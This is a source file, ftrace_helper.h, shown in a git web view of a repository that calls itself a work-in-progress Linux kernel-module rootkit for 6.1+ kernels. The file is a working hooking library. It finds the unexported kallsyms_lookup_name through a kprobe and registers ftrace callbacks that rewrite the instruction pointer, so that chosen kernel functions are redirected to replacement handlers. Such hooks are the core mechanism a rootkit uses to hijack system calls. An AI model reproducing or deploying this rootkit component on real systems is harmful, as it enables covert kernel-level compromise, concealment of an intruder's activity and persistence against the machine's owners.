mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
ftrace_helper.h (5957B)
1 /* 2 * Helper library for ftrace hooking kernel functions 3 * Author: Harvey Phillips ([email protected]) 4 * License: GPL 5 * */ 6 7 #include <linux/ftrace.h> 8 #include <linux/linkage.h> 9 #include <linux/slab.h> 10 #include <linux/uaccess.h> 11 #include <linux/version.h> 12 13 #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4, 17, 0)) 14 #define PTREGS_SYSCALL_STUBS 1 15 #endif 16 17 /* 18 * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 * so we have to use kprobes to get the address. 20 * Full credit to @f0lg0 for the idea. 21 */ 22 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) 23 #define KPROBE_LOOKUP 1 24 #include <linux/kprobes.h> 25 static struct kprobe kp = { 26 .symbol_name = "kallsyms_lookup_name"}; 27 #endif 28 29 #define HOOK(_name, _hook, _orig) \ 30 { \ 31 .name = (_name), \ 32 .function = (_hook), \ 33 .original = (_orig), \ 34 } 35 36 /* We need to prevent recursive loops when hooking, otherwise the kernel will 37 * panic and hang. The options are to either detect recursion by looking at 38 * the function return address, or by jumping over the ftrace call. We use the 39 * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 40 * setting it to 1. (Ordinarily ftrace provides its own protections against 41 * recursion, but it relies on saving return registers in $rip. We will likely 42 * need the use of the $rip register in our hook, so we have to disable this 43 * protection and implement our own). 44 * */ 45 #define USE_FENTRY_OFFSET 0 46 #if !USE_FENTRY_OFFSET 47 #pragma GCC optimize("-fno-optimize-sibling-calls") 48 #endif 49 50 /* We pack all the information we need (name, hooking function, original function) 51 * into this struct. This makes it easier for setting up the hook and just passing 52 * the entire struct off to fh_install_hook() later on. 53 * */ 54 struct ftrace_hook { 55 const char *name; 56 void *function; 57 void *original; 58 59 unsigned long address; 60 struct ftrace_ops ops; 61 }; 62 63 /* Ftrace needs to know the address of the original function that we 64 * are going to hook. As before, we just use kallsyms_lookup_name() 65 * to find the address in kernel memory. 66 * */ 67 static int fh_resolve_hook_address(struct ftrace_hook *hook) { 68 #ifdef KPROBE_LOOKUP 69 typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 70 kallsyms_lookup_name_t kallsyms_lookup_name; 71 register_kprobe(&kp); 72 kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr; 73 unregister_kprobe(&kp); 74 #endif 75 hook->address = kallsyms_lookup_name(hook->name); 76 77 if (!hook->address) { 78 printk(KERN_DEBUG "unresolved symbol: %s\n", hook->name); 79 return -ENOENT; 80 } 81 82 #if USE_FENTRY_OFFSET 83 *((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE; 84 #else 85 *((unsigned long *)hook->original) = hook->address; 86 #endif 87 88 return 0; 89 } 90 91 /* See comment below within fh_install_hook() */ 92 static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 93 struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 94 95 #if USE_FENTRY_OFFSET 96 regs->ip = (unsigned long)hook->function; 97 #else 98 if (!within_module(parent_ip, THIS_MODULE)) 99 regs->ip = (unsigned long)hook->function; 100 #endif 101 } 102 103 /* Assuming we've already set hook->name, hook->function and hook->original, we 104 * can go ahead and install the hook with ftrace. This is done by setting the 105 * ops field of hook (see the comment below for more details), and then using 106 * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 107 * provided by ftrace.h 108 * */ 109 int fh_install_hook(struct ftrace_hook *hook) { 110 int err; 111 err = fh_resolve_hook_address(hook); 112 if (err) 113 return err; 114 115 /* For many function hooks (especially non-trivial ones), the $rip 116 * register gets modified, so we have to alert ftrace to this fact. This 117 * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 118 * need to OR the RECURSION_SAFE flag (effectively turning it OFF) because 119 * the built-in anti-recursion guard provided by ftrace is useless if 120 * we're modifying $rip. This is why we have to implement our own checks 121 * (see USE_FENTRY_OFFSET). */ 122 hook->ops.func = (ftrace_func_t)fh_ftrace_thunk; 123 hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY; 124 125 err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 126 if (err) { 127 printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err); 128 return err; 129 } 130 131 err = register_ftrace_function(&hook->ops); 132 if (err) { 133 printk(KERN_DEBUG "register_ftrace_function() failed: %d\n", err); 134 return err; 135 } 136 137 return 0; 138 } 139 140 /* Disabling our function hook is just a simple matter of calling the built-in 141 * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 142 * opposite order to that in fh_install_hook()). 143 * */ 144 void fh_remove_hook(struct ftrace_hook *hook) { 145 int err; 146 err = unregister_ftrace_function(&hook->ops); 147 if (err) { 148 printk(KERN_DEBUG "unregister_ftrace_function() failed: %d\n", err); 149 } 150 151 err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 152 if (err) { 153 printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err); 154 } 155 } 156 157 /* To make it easier to hook multiple functions in one module, this provides 158 * a simple loop over an array of ftrace_hook struct 159 * */ 160 int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { 161 int err; 162 size_t i; 163 164 for (i = 0; i < count; i++) { 165 err = fh_install_hook(&hooks[i]); 166 if (err) 167 goto error; 168 } 169 return 0; 170 171 error: 172 while (i != 0) { 173 fh_remove_hook(&hooks[--i]); 174 } 175 return err; 176 } 177 178 void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { 179 size_t i; 180 181 for (i = 0; i < count; i++) 182 fh_remove_hook(&hooks[i]); 183 }